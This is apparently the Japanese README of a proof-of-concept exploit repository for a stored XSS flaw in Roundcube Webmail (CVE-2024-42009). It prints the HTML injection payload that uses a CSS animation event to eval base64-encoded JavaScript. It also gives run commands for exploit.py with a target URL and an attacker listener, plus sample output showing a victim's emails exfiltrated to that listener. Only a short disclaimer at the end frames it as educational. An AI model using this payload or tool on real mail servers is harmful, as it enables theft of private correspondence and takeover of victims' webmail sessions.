
このリポジトリには、Roundcube Webmail バージョン 1.6.7 およびその他の複数バージョンに存在する格納型クロスサイトスクリプティング(XSS)脆弱性 CVE-2024-42009 の概念実証(PoC)エクスプロイトが含まれています。このエクスプロイトは、攻撃者がメッセージ内に悪意のある JavaScript を注入し、メッセージ内の HTML を解析する際の脱サニタイズの問題を悪用する方法を示しています。この例では、被害者の受信箱からメールコンテンツを窃取したり、さらには被害者のブラウザを乗っ取ったりするために使用できます。
Roundcube 1.5.7 までおよび 1.6.x の 1.6.7 までに存在するクロスサイトスクリプティング(XSS)脆弱性により、リモートの攻撃者が program/actions/mail/show.php の message_body() における脱サニタイズの問題を悪用した巧妙に細工された電子メールメッセージを介して、被害者のメールを盗み見たり送信したりすることが可能になります。
このエクスプロイトは、XSS 実行に CSS アニメーションのトリガーを使用します:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
body 要素は div として解析されるため、それに適応する必要があります。そのため、onanimationstart 属性を使用して eval 関数を呼び出し、そこから複雑な JavaScript 呼び出しを実行します。エクスプロイトの仕組みや Roundcube の脆弱性の場所についてさらに詳しく知りたい場合は、この記事 をお読みください。
必要な Python パッケージをインストールします:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ 重要: この概念実証(PoC)は、教育および許可されたテスト目的のみで提供されています。責任を持って使用してください。本アカウントは、他者によって引き起こされたいかなる損害についても責任を負いません。